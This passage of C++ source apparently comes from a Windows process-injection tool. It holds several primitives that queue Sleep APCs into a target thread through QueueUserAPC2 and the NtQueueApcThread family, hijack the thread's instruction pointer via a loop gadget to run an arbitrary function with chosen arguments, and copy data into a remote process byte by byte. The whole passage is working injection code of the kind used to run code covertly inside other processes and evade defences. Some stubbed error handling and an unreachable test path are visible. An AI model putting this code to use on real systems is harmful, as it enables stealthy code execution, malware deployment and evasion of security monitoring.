DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT;
if (config.useSuspend)
dwThreadDesiredAccess |= THREAD_SUSPEND_RESUME;
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{
std::cerr << "[!] OpenThread failed for TID " << config.targetTid << ". Error: " << GetLastError() << std::endl;
return false;
}
// 1. Queue Sleep APC with special flag
const DWORD APCSleepDurationMs = 200;
BOOL queueResult = pQueueUserAPC2(
(PAPCFUNC)pSleep,
hThread,
(ULONG_PTR)APCSleepDurationMs,
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
0);
if (!queueResult)
{
std::cerr << "[!] QueueUserAPC2 failed. Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
// 2. Wait for thread to sleep
if (!WaitForThreadToSleep(config.targetTid, 3000, config.verbose))
{
std::cerr << "[!] Failed to detect thread entering sleep state." << std::endl;
CloseHandle(hThread);
return false;
}
// 3. Hijack to loop gadget
bool suspended1 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
suspended1 = true;
}
CONTEXT ctx1 = {0};
ctx1.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &ctx1))
{
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
ctx1.Rip = (DWORD64)loopGadgetAddr;
if (!SetThreadContext(hThread, &ctx1))
{
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (suspended1)
ResumeThread(hThread);
// 4. Wait for thread to exit sleep and start looping
if (!WaitForThreadToRunOrReady(config.targetTid, 3000, config.verbose))
{
CloseHandle(hThread);
return false;
}
Sleep(20);
// 5. Hijack to target function
bool suspended2 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
suspended2 = true;
}
CONTEXT ctx2 = {0};
ctx2.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &ctx2))
{
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (ctx2.Rip != (DWORD64)loopGadgetAddr)
{
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
ctx2.Rip = (DWORD64)pfnTargetFunction;
ctx2.Rcx = arg1;
ctx2.Rdx = arg2;
ctx2.R8 = arg3;
ctx2.R9 = arg4;
if (!SetThreadContext(hThread, &ctx2))
{
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return true;
}
// --- NtQueueApcThread Hijack Primitive ---
bool ExecuteRemoteFunctionViaNtQueueApcThread(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pfnTargetFunction,
DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
// Check requirements
if (!pNtQueueApcThread)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: NtQueueApcThread function pointer is NULL!" << std::endl;
return false;
}
if (!pSleep || !loopGadgetAddr)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: Sleep or Loop Gadget address not initialized!" << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: Target TID is zero!" << std::endl;
return false;
}
// Configuration
const DWORD APCSleepDurationMs = 200;
const int SleepWaitTimeoutMs = 3000;
const int WakeWaitTimeoutMs = APCSleepDurationMs + 1000;
const int LoopConfirmTimeoutMs = 500;
const int LoopCheckIntervalMs = 50;
if (config.verbose)
{
std::cout << " [NtQueueApcThread Hijack] Executing function at 0x" << std::hex << pfnTargetFunction
<< " via NtQueueApcThread+Hijack on TID " << std::dec << config.targetTid << std::endl;
std::cout << " [NtQueueApcThread Hijack] Args: Arg1=0x" << std::hex << arg1
<< " Arg2=0x" << arg2 << " Arg3=0x" << arg3 << " Arg4=0x" << arg4 << std::dec << std::endl;
}
// Open target thread
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT;
if (config.useSuspend)
dwThreadDesiredAccess |= THREAD_SUSPEND_RESUME;
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: OpenThread failed for TID "
<< config.targetTid << ". Error: " << GetLastError() << std::endl;
return false;
}
if (config.verbose)
std::cout << " [NtQueueApcThread Hijack] Opened thread handle." << std::endl;
// Queue Sleep APC
if (config.verbose)
std::cout << " [NtQueueApcThread Hijack] Stage 1: Queueing NtQueueApcThread(Sleep(" << APCSleepDurationMs << "))" << std::endl;
NTSTATUS status = pNtQueueApcThread(
hThread,
(PPS_APC_ROUTINE)pSleep,
(PVOID)(ULONG_PTR)APCSleepDurationMs, // Sleep duration
NULL,
NULL);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: NtQueueApcThread(Sleep) failed. NTSTATUS: 0x"
<< std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
// Wait for thread to enter sleep state
if (!WaitForThreadToSleep(config.targetTid, SleepWaitTimeoutMs, config.verbose))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: Thread did not enter sleep state." << std::endl;
CloseHandle(hThread);
return false;
}
// Hijack to loop gadget
if (config.verbose)
std::cout << " [NtQueueApcThread Hijack] Stage 2: Hijacking Sleep -> Loop" << std::endl;
bool suspended1 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
suspended1 = true;
}
CONTEXT ctx1 = {0};
ctx1.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &ctx1))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: GetThreadContext (1) failed. Error: " << GetLastError() << std::endl;
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
ctx1.Rip = (DWORD64)loopGadgetAddr;
if (config.verbose)
std::cout << " [Context] Setting RIP to Loop Gadget: 0x" << std::hex << ctx1.Rip << std::dec << std::endl;
if (!SetThreadContext(hThread, &ctx1))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: SetThreadContext (1) failed. Error: " << GetLastError() << std::endl;
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (suspended1)
{
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: ResumeThread (1) failed. Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
}
// Wait for thread to exit sleep and start looping
if (!WaitForThreadToRunOrReady(config.targetTid, WakeWaitTimeoutMs, config.verbose))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: Thread did not exit sleep state." << std::endl;
CloseHandle(hThread);
return false;
}
Sleep(20); // Small delay for stability
// Verify thread RIP is at loop gadget
bool ripConfirmed = false;
auto startTimeConfirmRip = std::chrono::steady_clock::now();
CONTEXT ctx_check = {0};
ctx_check.ContextFlags = CONTEXT_CONTROL;
while (std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now() - startTimeConfirmRip)
.count() < LoopConfirmTimeoutMs)
{
if (GetThreadContext(hThread, &ctx_check))
{
if (ctx_check.Rip == (DWORD64)loopGadgetAddr)
{
ripConfirmed = true;
break;
}
}
Sleep(LoopCheckIntervalMs);
}
if (!ripConfirmed)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: Failed to confirm thread at loop gadget." << std::endl;
CloseHandle(hThread);
return false;
}
// Hijack to target function
if (config.verbose)
std::cout << " [NtQueueApcThread Hijack] Stage 3: Hijacking Loop -> Target Function" << std::endl;
bool suspended2 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
suspended2 = true;
}
CONTEXT ctx2 = {0};
ctx2.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &ctx2))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: GetThreadContext (2) failed. Error: " << GetLastError() << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
// Verify thread is still at loop gadget
if (ctx2.Rip != (DWORD64)loopGadgetAddr)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: Thread RIP changed before final hijack! Expected: 0x"
<< std::hex << loopGadgetAddr << " Actual: 0x" << ctx2.Rip << std::dec << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
// Set up target function call with arguments
ctx2.Rip = (DWORD64)pfnTargetFunction;
ctx2.Rcx = arg1;
ctx2.Rdx = arg2;
ctx2.R8 = arg3;
ctx2.R9 = arg4;
if (config.verbose)
{
std::cout << " [Context] Setting Context for Target Function call:" << std::endl;
std::cout << " RIP = 0x" << std::hex << ctx2.Rip << std::endl;
std::cout << " RCX = 0x" << ctx2.Rcx << std::endl;
std::cout << " RDX = 0x" << ctx2.Rdx << std::endl;
std::cout << " R8 = 0x" << ctx2.R8 << std::dec << std::endl;
std::cout << " R9 = 0x" << ctx2.R9 << std::dec << std::endl;
}
if (!SetThreadContext(hThread, &ctx2))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: SetThreadContext (2) failed. Error: " << GetLastError() << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (suspended2)
{
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThread: ResumeThread (2) failed. Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
}
// Cleanup
CloseHandle(hThread);
if (config.verbose)
std::cout << " [NtQueueApcThread Hijack] Hijack sequence complete." << std::endl;
return true;
}
// --- Hijack Primitive using NtQueueApcThreadEx ---
bool ExecuteRemoteFunctionViaNtQueueApcExHijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pfnTargetFunction,
DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
// Check if the required Native API is loaded
if (!pNtQueueApcThreadEx)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcExHijack: NtQueueApcThreadEx function pointer is NULL!" << std::endl;
return false;
}
if (!pNtQuerySystemInformation)
{ /* Need state checking */
return false;
}
if (!pSleep || !loopGadgetAddr)
{ /* error */
return false;
}
if (config.targetTid == 0)
{ /* error */
return false;
}
// --- Configuration ---
const DWORD APCSleepDurationMs = 200;
const int SleepWaitTimeoutMs = 3000;
const int WakeWaitTimeoutMs = APCSleepDurationMs + 1000;
const int LoopConfirmTimeoutMs = 500;
const int LoopCheckIntervalMs = 50;
if (config.verbose)
{
std::cout << " [NtQAPCEx Hijack Primitive] Executing function at 0x" << std::hex << pfnTargetFunction
<< " via NtQAPCEx+Hijack on TID " << std::dec << config.targetTid << std::endl;
std::cout << " [NtQAPCEx Hijack Primitive] Args: Arg1=0x" << std::hex << arg1 << " Arg2=0x" << arg2 << " Arg3=0x" << arg3 << std::dec << std::endl;
}
// --- Open Target Thread ---
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME;
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{ /* error */
return false;
}
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] Opened thread handle.\n";
// --- Stage 1: Queue APC using NtQueueApcThreadEx ---
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] === Stage 1: Queueing NtQueueApcThreadEx(Sleep(" << APCSleepDurationMs << ")) ===\n";
// Note: NtQueueApcThreadEx takes PPS_APC_ROUTINE, which is technically different from PAPCFUNC,
// but for simple functions like Sleep it often works. A wrapper might be needed otherwise.
// We pass Sleep duration as the first argument.
// https://repnz.github.io/posts/apc/user-apc/#ntqueueapcthreadex-meet-special-user-apc https://ntdoc.m417z.com/ntqueueapcthreadex
// https://ntdoc.m417z.com/queue_user_apc_special_user_apc
NTSTATUS status = pNtQueueApcThreadEx(
hThread,
(HANDLE)1, // apc_special_user_apc
(PPS_APC_ROUTINE)pSleep, // APC Routine
(PVOID)(ULONG_PTR)APCSleepDurationMs, // ApcArgument1 (Sleep's dwMilliseconds)
NULL, // ApcArgument2
NULL // ApcArgument3
);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcExHijack: NtQueueApcThreadEx failed. NTSTATUS: 0x" << std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] NtQueueApcThreadEx call successful.\n";
// --- Wait for Thread to Enter Sleep State ---
if (!WaitForThreadToSleep(config.targetTid, SleepWaitTimeoutMs, config.verbose))
{
/* error handling */ CloseHandle(hThread);
return false;
}
// --- Stage 1.5: Hijack During Sleep -> Infinite Loop ---
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] === Stage 1.5: Attempting Hijack (Sleep -> Loop) ===\n";
CONTEXT ctx1 = {0};
ctx1.ContextFlags = CONTEXT_CONTROL;
bool suspended1 = false;
if (config.useSuspend)
{ /* Suspend */
}
if (!GetThreadContext(hThread, &ctx1))
{ /* error */
}
if (config.verbose)
std::cout << " [Context] Hijacking from RIP: 0x" << std::hex << ctx1.Rip << std::dec << "\n";
ctx1.Rip = (DWORD64)loopGadgetAddr;
if (!SetThreadContext(hThread, &ctx1))
{ /* error */
}
if (suspended1)
{ /* Resume */
}
// --- Verification Step A: Wait for Thread to Finish Sleeping ---
if (!WaitForThreadToRunOrReady(config.targetTid, WakeWaitTimeoutMs, config.verbose))
{
/* error */ CloseHandle(hThread);
return false;
}
// --- Verification Step B: Confirm RIP is now at Loop Gadget ---
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] Verifying Thread RIP is at Loop Gadget...\n";
bool ripConfirmed = false;
// ... (Loop checking RIP against loopGadgetAddr) ...
auto startTimeConfirmRip = std::chrono::steady_clock::now();
CONTEXT ctx_check_rip = {0};
ctx_check_rip.ContextFlags = CONTEXT_CONTROL;
DWORD lastError_ripCheck = 0;
while (std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - startTimeConfirmRip).count() < LoopConfirmTimeoutMs)
{
if (GetThreadContext(hThread, &ctx_check_rip))
{
if (ctx_check_rip.Rip == (DWORD64)loopGadgetAddr)
{
ripConfirmed = true;
break;
}
}
else
{
lastError_ripCheck = GetLastError();
}
::Sleep(LoopCheckIntervalMs);
}
if (!ripConfirmed)
{ /* error */
CloseHandle(hThread);
return false;
}
// --- Stage 2: Hijack the Spinning Thread -> Target Function ---
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] === Stage 2: Hijacking Loop -> Target Function (0x" << std::hex << pfnTargetFunction << std::dec << ") ===\n";
bool suspended2 = false;
if (config.useSuspend)
{ /* Suspend */
}
CONTEXT ctx2 = {0};
ctx2.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &ctx2))
{ /* error */
}
if (ctx2.Rip != (DWORD64)loopGadgetAddr)
{ /* Critical warning */
}
if (config.verbose)
std::cout << " [Context] Confirmed RIP at loop gadget before final hijack.\n";
// Setup target function call (using first 3 args for NtQueueApcThreadEx convention)
// The target function will receive these in RCX, RDX, R8 (x64 convention)
ctx2.Rip = (DWORD64)pfnTargetFunction;
ctx2.Rcx = arg1;
ctx2.Rdx = arg2;
ctx2.R8 = arg3;
ctx2.R9 = 0; // R9 is not passed by NtQueueApcThreadEx APC mechanism
if (config.verbose)
{ /* Print context */
}
if (!SetThreadContext(hThread, &ctx2))
{ /* error */
}
if (suspended2)
{ /* Resume */
}
// --- Wait for Function Execution (Optional) ---
const int PostHijackWaitMs = 100;
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] Waiting briefly (" << PostHijackWaitMs << "ms) post-hijack..." << std::endl;
::Sleep(PostHijackWaitMs);
// --- Cleanup ---
CloseHandle(hThread);
if (config.verbose)
std::cout << " [NtQAPCEx Hijack Primitive] Hijack sequence complete.\n";
return true;
}
// --- Hijack Primitive using NtQueueApcThreadEx2 ---
bool ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pfnTargetFunction,
DWORD64 arg1, DWORD64 arg2, DWORD64 arg3, DWORD64 arg4,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
// Check if the required Native API is loaded
if (!pNtQueueApcThreadEx2)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: NtQueueApcThreadEx2 function pointer is NULL!" << std::endl;
return false;
}
if (!pNtQuerySystemInformation)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: NtQuerySystemInformation function pointer is NULL!" << std::endl;
return false;
}
if (!pSleep || !loopGadgetAddr)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Sleep or Loop Gadget address not initialized!" << std::endl;
return false;
}
if (config.targetTid == 0)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Target TID is zero!" << std::endl;
return false;
}
// --- Configuration ---
const DWORD APCSleepDurationMs = 200;
const int SleepWaitTimeoutMs = 3000;
const int WakeWaitTimeoutMs = APCSleepDurationMs + 1000;
const int LoopConfirmTimeoutMs = 500;
const int LoopCheckIntervalMs = 50;
if (config.verbose)
{
std::cout << " [NtQAPCEx2 Hijack Primitive] Executing function at 0x" << std::hex << pfnTargetFunction
<< " via NtQAPCEx2+Hijack on TID " << std::dec << config.targetTid << std::endl;
std::cout << " [NtQAPCEx2 Hijack Primitive] Args: Arg1=0x" << std::hex << arg1
<< " Arg2=0x" << arg2 << " Arg3=0x" << arg3 << " Arg4=0x" << arg4 << std::dec << std::endl;
}
// --- Open Target Thread ---
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME;
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
if (!hThread)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Failed to open thread. Error: " << GetLastError() << std::endl;
return false;
}
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] Opened thread handle.\n";
// --- Stage 1: Queue APC using NtQueueApcThreadEx2 ---
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] === Stage 1: Queueing NtQueueApcThreadEx2(Sleep(" << APCSleepDurationMs << ")) ===\n";
// Note: NtQueueApcThreadEx2 has an extra parameter compared to NtQueueApcThreadEx
// NTSTATUS NtQueueApcThreadEx2(
// HANDLE ThreadHandle, // Thread handle
// HANDLE UserApcReserveHandle, // User APC reserve handle (NULL for normal)
// HANDLE SpecialUserApc, // Special user APC flag (1 for special)
// PPS_APC_ROUTINE ApcRoutine, // APC routine
// PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3) // Arguments for APC routine
NTSTATUS status = pNtQueueApcThreadEx2(
hThread, // Thread handle
NULL, // User APC reserve handle (NULL for normal)
(ULONG)1, // Special user APC flag (1 = special, force delivery)
(PPS_APC_ROUTINE)pSleep, // APC Routine = Sleep
(PVOID)(ULONG_PTR)APCSleepDurationMs, // ApcArgument1 (Sleep's dwMilliseconds)
NULL, // ApcArgument2
NULL // ApcArgument3
);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: NtQueueApcThreadEx2 failed. NTSTATUS: 0x"
<< std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] NtQueueApcThreadEx2 call successful.\n";
// --- Wait for Thread to Enter Sleep State ---
if (!WaitForThreadToSleep(config.targetTid, SleepWaitTimeoutMs, config.verbose))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Thread did not enter sleep state." << std::endl;
CloseHandle(hThread);
return false;
}
// --- Stage 1.5: Hijack During Sleep -> Infinite Loop ---
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] === Stage 1.5: Attempting Hijack (Sleep -> Loop) ===\n";
bool suspended1 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
{
suspended1 = true;
if (config.verbose)
std::cout << " [Suspend] Thread suspended.\n";
}
else
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: SuspendThread failed. Error: " << GetLastError() << std::endl;
// Continue without suspend as we might still succeed
}
}
CONTEXT ctx1 = {0};
ctx1.ContextFlags = CONTEXT_CONTROL;
if (!GetThreadContext(hThread, &ctx1))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: GetThreadContext (1) failed. Error: " << GetLastError() << std::endl;
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Context] Hijacking from RIP: 0x" << std::hex << ctx1.Rip << std::dec << "\n";
// Set RIP to loop gadget
ctx1.Rip = (DWORD64)loopGadgetAddr;
if (!SetThreadContext(hThread, &ctx1))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: SetThreadContext (1) failed. Error: " << GetLastError() << std::endl;
if (suspended1)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (suspended1)
{
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: ResumeThread failed. Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Suspend] Thread resumed.\n";
}
// --- Verification Step A: Wait for Thread to Finish Sleeping ---
if (!WaitForThreadToRunOrReady(config.targetTid, WakeWaitTimeoutMs, config.verbose))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Thread did not exit sleep state." << std::endl;
CloseHandle(hThread);
return false;
}
// --- Verification Step B: Confirm RIP is now at Loop Gadget ---
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] Verifying Thread RIP is at Loop Gadget...\n";
bool ripConfirmed = false;
auto startTimeConfirmRip = std::chrono::steady_clock::now();
CONTEXT ctx_check_rip = {0};
ctx_check_rip.ContextFlags = CONTEXT_CONTROL;
while (std::chrono::duration_cast<std::chrono::milliseconds>(
std::chrono::steady_clock::now() - startTimeConfirmRip)
.count() < LoopConfirmTimeoutMs)
{
if (GetThreadContext(hThread, &ctx_check_rip))
{
if (ctx_check_rip.Rip == (DWORD64)loopGadgetAddr)
{
ripConfirmed = true;
if (config.verbose)
std::cout << " [Verify] RIP confirmed at loop gadget.\n";
break;
}
}
::Sleep(LoopCheckIntervalMs);
}
if (!ripConfirmed)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Failed to confirm thread at loop gadget." << std::endl;
CloseHandle(hThread);
return false;
}
// --- Stage 2: Hijack the Spinning Thread -> Target Function ---
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] === Stage 2: Hijacking Loop -> Target Function (0x"
<< std::hex << pfnTargetFunction << std::dec << ") ===\n";
bool suspended2 = false;
if (config.useSuspend)
{
if (SuspendThread(hThread) != (DWORD)-1)
{
suspended2 = true;
if (config.verbose)
std::cout << " [Suspend] Thread suspended.\n";
}
else
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: SuspendThread (2) failed. Error: " << GetLastError() << std::endl;
// Continue without suspend
}
}
CONTEXT ctx2 = {0};
ctx2.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &ctx2))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: GetThreadContext (2) failed. Error: " << GetLastError() << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
// Verify thread is still at loop gadget
if (ctx2.Rip != (DWORD64)loopGadgetAddr)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: Thread RIP changed before final hijack! Expected: 0x"
<< std::hex << loopGadgetAddr << " Actual: 0x" << ctx2.Rip << std::dec << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Context] Confirmed RIP at loop gadget before final hijack.\n";
// Setup target function call with arguments
ctx2.Rip = (DWORD64)pfnTargetFunction;
ctx2.Rcx = arg1;
ctx2.Rdx = arg2;
ctx2.R8 = arg3;
ctx2.R9 = arg4; // Full register set for our hijack method
if (config.verbose)
{
std::cout << " [Context] Setting Context for Target Function call:" << std::endl;
std::cout << " RIP = 0x" << std::hex << ctx2.Rip << std::endl;
std::cout << " RCX = 0x" << ctx2.Rcx << std::endl;
std::cout << " RDX = 0x" << ctx2.Rdx << std::endl;
std::cout << " R8 = 0x" << ctx2.R8 << std::endl;
std::cout << " R9 = 0x" << ctx2.R9 << std::dec << std::endl;
}
if (!SetThreadContext(hThread, &ctx2))
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: SetThreadContext (2) failed. Error: " << GetLastError() << std::endl;
if (suspended2)
ResumeThread(hThread);
CloseHandle(hThread);
return false;
}
if (suspended2)
{
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cerr << "[!] ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack: ResumeThread (2) failed. Error: " << GetLastError() << std::endl;
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [Suspend] Thread resumed. Will now execute target function.\n";
}
// --- Small Wait After Execution (Optional) ---
const int PostHijackWaitMs = 50;
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] Waiting briefly (" << PostHijackWaitMs << "ms) post-hijack..." << std::endl;
::Sleep(PostHijackWaitMs);
// --- Cleanup ---
CloseHandle(hThread);
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] Hijack sequence complete.\n";
return true;
}
// --- Efficient Byte-by-Byte Memory Copy via NtQueueApcThreadEx2 ---
bool PerformRemoteMemoryCopyViaNtQueueApcThreadEx2(
HANDLE hProcess,
const InjectionConfig &config,
LPVOID pRtlFillMemory,
LPVOID pRemoteDestBase,
const unsigned char *sourceData,
size_t dataSize,
LPVOID pSleep,
LPVOID loopGadgetAddr)
{
if (!pNtQueueApcThreadEx2 || !pRtlFillMemory || !pRemoteDestBase || !sourceData)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcThreadEx2: Required function pointers are NULL!" << std::endl;
return false;
}
if (config.verbose)
{
std::cout << " [NtQAPCEx2 Copy Primitive] Starting byte-by-byte copy of " << dataSize << " bytes to " << pRemoteDestBase << " using NtQAPCEx2+Hijack(RtlMoveMemory)..." << std::endl;
std::cout << " [NtQAPCEx2 Copy Primitive] WARNING: This process will be very slow!" << std::endl;
}
DWORD64 remoteDestBaseAddr = reinterpret_cast<DWORD64>(pRemoteDestBase);
for (size_t i = 0; i < dataSize; ++i)
{
char targetChar = static_cast<char>(sourceData[i]);
BYTE byteToWrite = sourceData[i]; // Get the byte value directly from the source buffer for memset/RtlFillMemory
// Cast pRemoteDestBase to BYTE* for pointer arithmetic
DWORD64 destinationAddressByte = reinterpret_cast<DWORD64>(
static_cast<BYTE *>(pRemoteDestBase) + i);
if ((i == 0 || (i + 1) % 20 == 0 || i == dataSize - 1))
{ // Log progress
std::cout << " [NtQAPCEx2 Copy Primitive] Copying byte " << i + 1 << "/" << dataSize << std::endl;
}
// -- test if can just apc --
DWORD dwThreadDesiredAccess = THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_GET_CONTEXT;
if (config.useSuspend)
{
dwThreadDesiredAccess |= THREAD_SUSPEND_RESUME;
}
HANDLE hThread = OpenThread(dwThreadDesiredAccess, FALSE, config.targetTid);
NTSTATUS status = pNtQueueApcThreadEx2(
hThread,
NULL, // User APC reserve handle (NULL for normal)
(ULONG)1, // apc_special_user_apc
(PPS_APC_ROUTINE)pRtlFillMemory, // APC Routine memset
(PVOID)destinationAddressByte, // ApcArgument1 memset dst
(PVOID)1, // ApcArgument2 memset length
(PVOID)byteToWrite // ApcArgument3 memset value
);
if (status != STATUS_SUCCESS)
{
std::cerr << "[!] PerformRemoteMemoryCopyViaNtQueueApcEx2Hijack pNtQueueApcThreadEx2: NtQueueApcThreadEx2 failed. NTSTATUS: 0x" << std::hex << status << std::dec << std::endl;
CloseHandle(hThread);
return false;
}
if (config.verbose)
std::cout << " [NtQAPCEx2 Hijack Primitive] NtQueueApcThreadEx2 call successful.\n";
continue;
// -- end test --
// Use the *new* NtQueueApcEx hijack primitive
// RtlMoveMemory takes 3 arguments (Destination, Source, Length)
// These map to arg1, arg2, arg3 passed to the hijack primitive
bool hijackSuccess = ExecuteRemoteFunctionViaNtQueueApcThreadEx2Hijack(
hProcess,
config,
pRtlFillMemory, // Target function = RtlFillMemory
destinationAddressByte, // Arg1 (RCX): Destination address for this byte
1, // Arg2 (RDX): Length (1 byte)
